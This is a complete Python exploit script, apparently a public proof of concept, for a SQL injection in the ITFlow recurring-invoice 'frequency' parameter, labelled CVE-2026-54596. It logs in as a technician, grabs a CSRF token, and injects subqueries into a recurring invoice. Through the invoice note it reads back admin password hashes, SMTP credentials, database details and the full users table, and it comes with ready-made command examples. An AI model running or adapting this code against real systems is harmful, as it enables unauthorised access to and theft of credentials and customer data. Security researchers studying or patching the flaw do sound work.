1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
| #!/usr/bin/env python3
import re
import sys
import argparse
import requests
BANNER = r"""
___ _____ ___ _
|_ _|_ _| __| |_____ __ __
| | | | | _|| / _ \ V V /
|___| |_| |_| |_\___/\_/\_/
SQLi — recurring_invoice_frequency
CVE: CVE-2026-54596
Auth: Technician + accessible invoice
by iltosec
"""
TARGETS = {
"adminhash": "(SELECT user_password FROM users LIMIT 1)",
"adminemail": "(SELECT user_email FROM users LIMIT 1)",
"smtppass": "(SELECT config_smtp_password FROM settings)",
"smtpuser": "(SELECT config_smtp_username FROM settings)",
"dbuser": "(SELECT CURRENT_USER())",
"dbversion": "(SELECT VERSION())",
"database": "(SELECT DATABASE())",
}
USER_TYPE = {1: "Agent", 2: "Client"}
PREFIX = "MONTH),recurring_invoice_note="
TAIL = ",recurring_invoice_status=1,recurring_invoice_currency_code=0x61,recurring_invoice_category_id=0,recurring_invoice_client_id=1#"
def payload(subquery):
return PREFIX + subquery + TAIL
def parse_note(html):
m = re.search(r"Notes.*?<div[^>]*card-body[^>]*>\s*(.*?)\s*</div>", html, re.DOTALL)
if m:
raw = re.sub(r"<[^>]+>", "", m.group(1)).strip()
return raw if raw else None
return None
def login(s, base, email, password):
r = s.post(f"{base}/login.php", data={"email": email, "password": password, "login": "1"}, allow_redirects=False)
return r.status_code in (301, 302)
def get_csrf(s, base):
for page in ("agent/invoices.php", "agent/clients.php", "agent/tickets.php"):
m = re.search(r'name="csrf_token"\s+value="([^"]{10,})"', s.get(f"{base}/{page}").text)
if m:
return m.group(1)
return None
def fire(s, base, csrf, invoice_id, subquery):
p = payload(subquery)
if len(p) > 200:
print(f" [-] Payload too long ({len(p)}/200): {subquery}")
return None
r = s.post(f"{base}/agent/post.php", data={
"add_invoice_recurring": "1",
"csrf_token": csrf,
"invoice_id": invoice_id,
"frequency": p,
}, allow_redirects=True)
if not re.search(r"recurring_invoice_id=(\d+)", r.url):
return None
return parse_note(r.text) or ""
def extract_users(s, base, csrf, invoice_id):
count_raw = fire(s, base, csrf, invoice_id, "(SELECT COUNT(*) FROM users)")
if not count_raw or not count_raw.isdigit():
print(" [-] Failed to get user count")
return
count = int(count_raw)
print(f"\n Users ({count} total)\n")
print(f" {'#':<4} {'Name':<20} {'Email':<30} {'Type':<10} Hash")
print(f" {'-'*100}")
for i in range(count):
row = {}
for col in ("user_name", "user_email", "user_type", "user_password"):
row[col] = fire(s, base, csrf, invoice_id, f"(SELECT {col} FROM users LIMIT {i},1)") or "(null)"
utype = USER_TYPE.get(int(row["user_type"]) if row["user_type"].isdigit() else 0, row["user_type"])
print(f" {i+1:<4} {row['user_name']:<20} {row['user_email']:<30} {utype:<10} {row['user_password']}")
def main():
parser = argparse.ArgumentParser(
prog="exploit.py",
description="ITFlow CVE-2026-54596 - SQL Injection via recurring_invoice_frequency (agent/post/recurring_invoice.php:43) - by iltosec",
formatter_class=argparse.RawTextHelpFormatter,
epilog=(
"Examples:\n"
" python exploit.py http://itflow.com admin@x.com 'P@ss!' 1 --all\n"
" python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --all\n"
" python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --adminhash --smtppass\n"
" python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --users\n"
" python exploit.py http://itflow.com tech@x.com 'P@ss!' 2 --dbuser --dbversion"
),
)
parser.add_argument("url", help="Target base URL")
parser.add_argument("email", help="Login email")
parser.add_argument("password", help="Login password")
parser.add_argument("invoice_id", help="Invoice ID the attacker can access")
parser.add_argument("--adminhash", action="store_true")
parser.add_argument("--adminemail", action="store_true")
parser.add_argument("--smtppass", action="store_true")
parser.add_argument("--smtpuser", action="store_true")
parser.add_argument("--dbuser", action="store_true")
parser.add_argument("--dbversion", action="store_true")
parser.add_argument("--database", action="store_true")
parser.add_argument("--users", action="store_true", help="Dump all users table")
parser.add_argument("--all", action="store_true", help="Run all extractions")
args = parser.parse_args()
print(BANNER)
base = args.url.rstrip("/")
if args.all:
selected = list(TARGETS.keys())
run_users = True
else:
selected = [k for k in TARGETS if getattr(args, k, False)]
run_users = args.users
if not selected and not run_users:
parser.print_help()
sys.exit(1)
s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0"
print(f"[*] {base} | {args.email}")
if not login(s, base, args.email, args.password):
print("[-] Login failed")
sys.exit(1)
csrf = get_csrf(s, base)
if not csrf:
print("[-] CSRF token not found")
sys.exit(1)
print(f"[+] Logged in | CSRF: {csrf}")
probe = fire(s, base, csrf, args.invoice_id, "(SELECT 1)")
if probe is None:
print(f"\n[-] Access denied for invoice_id={args.invoice_id}")
print(f" This invoice doesn't exist or belongs to a client")
print(f" that {args.email} cannot access.")
print(f" Try a different invoice_id (one assigned to your client).")
sys.exit(1)
print(f"[+] Injection reachable\n")
for key in selected:
val = fire(s, base, csrf, args.invoice_id, TARGETS[key])
if val is None:
print(f" [-] {key}: blocked")
elif val == "":
print(f" [!] {key}: NULL")
else:
print(f" [+] {key}: {val}")
if run_users:
extract_users(s, base, csrf, args.invoice_id)
print("\n[*] Done.")
if __name__ == "__main__":
main()
|